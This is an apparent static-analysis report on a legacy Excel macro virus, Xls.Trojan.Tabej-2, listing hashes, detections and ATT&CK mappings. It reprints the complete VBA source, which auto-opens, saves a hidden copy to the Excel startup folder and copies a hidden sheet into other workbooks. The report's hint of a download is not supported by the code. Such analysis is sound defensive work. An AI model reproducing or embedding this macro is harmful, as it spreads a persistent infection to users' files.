Xls.Trojan.Tabej-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 7cc4dd2903ce6f04…

MALICIOUS

Office (OLE)

42.0 KB Created: 2001-03-05 07:49:25 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 24ae5f2ccf371a63693889781fbd7d1e SHA-1: b571efb68f71e27cd3f17542a8265628780f6df6 SHA-256: 7cc4dd2903ce6f04942274f34c31ee6c4fd0d99dcf6210eecfe8fda4fe1d9eb9
240 Risk Score

Malware Insights

Xls.Trojan.Tabej-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as a malicious Excel 5 macro virus, specifically 'Xls.Trojan.Tabej-2'. The 'auto_open' macro is designed to copy itself and potentially download additional content, indicated by the 'rx' subroutine which saves the workbook as 'tabej.xls' in the startup path. This suggests an attempt to establish persistence and deliver a secondary payload.

Heuristics 4

  • ClamAV: Xls.Trojan.Tabej-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Tabej-2
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1241 bytes
SHA-256: ed1126ce499b6aaeca66c2ea2d438023024a17835f172ffdff16435196609d17
Detection
ClamAV: Xls.Trojan.Tabej-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tabej"

Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
Application.OnSheetActivate = ""
If Windows(1).Caption = "tabej.xls" Then Workbooks.Add
s$ = Application.StartupPath & "\" & "tabej.xls"
d$ = Dir(s$)
If Not d$ = "tabej.xls" Then rx
Application.OnSheetActivate = "inf"
End Sub
Sub rx()
Attribute rx.VB_ProcData.VB_Invoke_Func = " \n14"
Application.ScreenUpdating = False
cd$ = CurDir()
ChDir Application.StartupPath
ActiveWorkbook.SaveAs filename:=Application.StartupPath & "/" & "tabej.xls"
ActiveWindow.Visible = False
ChDir cd$
Application.ScreenUpdating = True
End Sub
Sub inf()
Attribute inf.VB_ProcData.VB_Invoke_Func = " \n14"
dt = CSng(Date)
For x = 1 To ActiveWorkbook.Sheets.Count
If ActiveWorkbook.Sheets(x).Name = "tabej" Then
If ActiveWorkbook.Name <> ThisWorkbook.Name Then
If dt > 36016 Then
Application.DisplayAlerts = False
ActiveWorkbook.Sheets("tabej").Delete
Exit Sub
Application.DisplayAlerts = True
End If
End If
Exit Sub
End If
Next
Application.ScreenUpdating = False
ThisWorkbook.Sheets("tabej").Copy before:=ActiveWorkbook.Sheets(1)
ActiveWorkbook.Sheets("tabej").Visible = False
Application.ScreenUpdating = True
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.